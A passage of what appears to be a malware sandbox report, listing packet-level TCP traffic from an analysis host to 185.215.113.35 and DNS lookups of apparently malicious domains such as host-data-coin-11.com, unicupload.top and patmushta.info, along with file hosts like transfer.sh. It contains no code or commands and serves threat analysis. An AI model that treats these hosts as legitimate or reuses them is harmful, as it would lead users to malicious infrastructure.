Jan 14, 2022 12:30:21.483114958 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.483215094 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.483324051 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.483428001 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.501363993 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:21.501385927 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:21.501399040 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:21.514621019 CET	49932	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.514719009 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.514823914 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.514919996 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.515008926 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.515105009 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.515189886 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.515276909 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.515371084 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.515455961 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.515542030 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.515628099 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.515841961 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.527129889 CET	80	49926	81.163.30.181	192.168.2.4
Jan 14, 2022 12:30:21.533143044 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:21.537270069 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:21.537291050 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:21.538724899 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.538825989 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.538918972 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.539005041 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.539094925 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.539149046 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:21.539192915 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.539367914 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.539411068 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.539504051 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.539587975 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.539686918 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.539778948 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.539871931 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.539957047 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.540047884 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.540360928 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.540373087 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.540378094 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.540395021 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.540483952 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.540572882 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.540669918 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.540756941 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.540842056 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.540940046 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.541033030 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.541120052 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.541204929 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.541295052 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.541378021 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.541466951 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.541553974 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.541651011 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.541743040 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.541832924 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.541920900 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.542004108 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.542093039 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.542179108 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.542268991 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.542359114 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.542440891 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.542531013 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.542644024 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.542720079 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.542809963 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.542896032 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.542980909 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.543071985 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.543162107 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.543251038 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.543325901 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:21.543330908 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.543450117 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.543565035 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.543816090 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.543926954 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.544015884 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.544071913 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:21.544089079 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:21.544104099 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:21.544109106 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.544120073 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:21.544131994 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:21.544140100 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:21.544154882 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:21.544210911 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.544346094 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.544433117 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.544527054 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.544614077 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.544709921 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.544801950 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.544883013 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.544975996 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.545068026 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.545157909 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.545244932 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.545335054 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.545377970 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:21.545392990 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:21.545401096 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:21.545416117 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:21.545424938 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:21.545434952 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:21.545443058 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:21.545444965 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.545454979 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:21.545466900 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:21.545599937 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.545701027 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.545783043 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.545872927 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.545964003 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.546046972 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.546139002 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.546228886 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.546322107 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.546403885 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.546492100 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.546578884 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.546772003 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.546866894 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.546958923 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.547044039 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.547138929 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.547223091 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.547310114 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.547403097 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.547487020 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.547575951 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.547635078 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:21.547650099 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:21.547689915 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.547795057 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.547888041 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.547975063 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.548067093 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.548162937 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.548243999 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.548337936 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.548420906 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.548518896 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.548604012 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.561414003 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.561769009 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.561875105 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.561973095 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.562057018 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.562141895 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.562237978 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.562341928 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.562427998 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.562514067 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.562612057 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.562715054 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.562804937 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.562942028 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.563035965 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.563138962 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.563220978 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.563316107 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.563401937 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.563508987 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.563601017 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.563714981 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.563816071 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.563904047 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.563992977 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.564079046 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.564168930 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.564260960 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.564352989 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.564438105 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.564528942 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.564640999 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.564750910 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.564838886 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.564934969 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.565027952 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.565121889 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.565213919 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.565299034 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.565387011 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.565483093 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.565578938 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.565673113 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.565778971 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.565869093 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.565956116 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.566051006 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.566144943 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.566235065 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.566330910 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.566415071 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.566502094 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.566600084 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.568139076 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.568245888 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.568336964 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.568434954 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.568532944 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.568613052 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.568713903 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.568823099 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.568912983 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.569011927 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.569107056 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.569195986 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.569291115 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.569375992 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.569478989 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.569574118 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.569673061 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.569766045 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.569874048 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.569952965 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.570167065 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.570374012 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.570482016 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.570581913 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.570686102 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.570785999 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.570893049 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.570997000 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.571096897 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.571202040 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.571306944 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.571414948 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.571507931 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:21.571620941 CET	49914	80	192.168.2.4	185.215.113.35

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Jan 14, 2022 12:29:11.782485008 CET	192.168.2.4	8.8.8.8	0x67b5	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 12:29:11.963017941 CET	192.168.2.4	8.8.8.8	0xe986	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 12:29:12.430608034 CET	192.168.2.4	8.8.8.8	0x5bf4	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 12:29:12.606929064 CET	192.168.2.4	8.8.8.8	0x4112	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 12:29:13.093177080 CET	192.168.2.4	8.8.8.8	0xc21b	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 12:29:13.564027071 CET	192.168.2.4	8.8.8.8	0x8bf6	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 12:29:14.948347092 CET	192.168.2.4	8.8.8.8	0xa91d	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 12:29:15.427823067 CET	192.168.2.4	8.8.8.8	0xc66a	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 12:29:15.594754934 CET	192.168.2.4	8.8.8.8	0xad10	Standard query (0)	data-host-coin-8.com	A (IP address)	IN (0x0001)
Jan 14, 2022 12:29:17.681981087 CET	192.168.2.4	8.8.8.8	0xd6ae	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 12:29:17.868205070 CET	192.168.2.4	8.8.8.8	0xd89a	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 12:29:18.034226894 CET	192.168.2.4	8.8.8.8	0x5ee7	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 12:29:18.336664915 CET	192.168.2.4	8.8.8.8	0x54cb	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 12:29:18.505330086 CET	192.168.2.4	8.8.8.8	0x89d2	Standard query (0)	privacy-tools-for-you-780.com	A (IP address)	IN (0x0001)
Jan 14, 2022 12:29:20.346779108 CET	192.168.2.4	8.8.8.8	0x6d1f	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 12:29:20.801031113 CET	192.168.2.4	8.8.8.8	0x68bb	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 12:29:20.967899084 CET	192.168.2.4	8.8.8.8	0x3931	Standard query (0)	unicupload.top	A (IP address)	IN (0x0001)
Jan 14, 2022 12:29:21.120146990 CET	192.168.2.4	8.8.8.8	0x1d8b	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 12:29:21.315474033 CET	192.168.2.4	8.8.8.8	0x44e5	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 12:29:21.504046917 CET	192.168.2.4	8.8.8.8	0x25c0	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 12:29:21.694421053 CET	192.168.2.4	8.8.8.8	0x639b	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 12:29:22.180890083 CET	192.168.2.4	8.8.8.8	0x33a6	Standard query (0)	data-host-coin-8.com	A (IP address)	IN (0x0001)
Jan 14, 2022 12:29:25.771519899 CET	192.168.2.4	8.8.8.8	0xed2c	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 12:29:25.937843084 CET	192.168.2.4	8.8.8.8	0x2715	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 12:29:26.102307081 CET	192.168.2.4	8.8.8.8	0x143d	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 12:29:26.315789938 CET	192.168.2.4	8.8.8.8	0x734e	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 12:29:29.117929935 CET	192.168.2.4	8.8.8.8	0x33ca	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 12:29:29.293498993 CET	192.168.2.4	8.8.8.8	0xdcf4	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 12:29:29.473170996 CET	192.168.2.4	8.8.8.8	0xd6f7	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 12:29:29.656965017 CET	192.168.2.4	8.8.8.8	0xb971	Standard query (0)	cdn.discordapp.com	A (IP address)	IN (0x0001)
Jan 14, 2022 12:29:31.224777937 CET	192.168.2.4	8.8.8.8	0x521d	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 12:29:31.394221067 CET	192.168.2.4	8.8.8.8	0x49bf	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 12:29:31.562335968 CET	192.168.2.4	8.8.8.8	0x2eb3	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 12:29:41.890839100 CET	192.168.2.4	8.8.8.8	0x87cb	Standard query (0)	microsoft-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)
Jan 14, 2022 12:29:44.528678894 CET	192.168.2.4	8.8.8.8	0x1a68	Standard query (0)	patmushta.info	A (IP address)	IN (0x0001)
Jan 14, 2022 12:29:53.201407909 CET	192.168.2.4	8.8.8.8	0xdaf0	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 12:29:53.367465973 CET	192.168.2.4	8.8.8.8	0x5b4c	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 12:29:53.557280064 CET	192.168.2.4	8.8.8.8	0x4a7c	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 12:29:53.736764908 CET	192.168.2.4	8.8.8.8	0x9d7e	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 12:29:53.901665926 CET	192.168.2.4	8.8.8.8	0x17ca	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 12:29:54.067249060 CET	192.168.2.4	8.8.8.8	0xb79f	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 12:29:54.283118010 CET	192.168.2.4	8.8.8.8	0x5c2f	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 12:29:54.452543020 CET	192.168.2.4	8.8.8.8	0x3d2f	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 12:29:54.619712114 CET	192.168.2.4	8.8.8.8	0x4f2b	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 12:29:54.798546076 CET	192.168.2.4	8.8.8.8	0x4e70	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 12:29:54.966861963 CET	192.168.2.4	8.8.8.8	0x25a4	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 12:29:55.145189047 CET	192.168.2.4	8.8.8.8	0x8dcc	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 12:29:55.398905993 CET	192.168.2.4	8.8.8.8	0xff6a	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 12:29:55.566248894 CET	192.168.2.4	8.8.8.8	0xa5df	Standard query (0)	data-host-coin-8.com	A (IP address)	IN (0x0001)
Jan 14, 2022 12:29:58.441070080 CET	192.168.2.4	8.8.8.8	0x648d	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 12:29:58.609729052 CET	192.168.2.4	8.8.8.8	0xd308	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 12:29:58.783494949 CET	192.168.2.4	8.8.8.8	0x8226	Standard query (0)	goo.su	A (IP address)	IN (0x0001)
Jan 14, 2022 12:29:59.128232002 CET	192.168.2.4	8.8.8.8	0x8d36	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 12:29:59.305922985 CET	192.168.2.4	8.8.8.8	0xb0	Standard query (0)	transfer.sh	A (IP address)	IN (0x0001)
Jan 14, 2022 12:29:59.700192928 CET	192.168.2.4	8.8.8.8	0xf035	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 12:30:00.035913944 CET	192.168.2.4	8.8.8.8	0xb9a8	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 14, 2022 12:30:00.674380064 CET	192.168.2.4	8.8.8.8	0x336	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
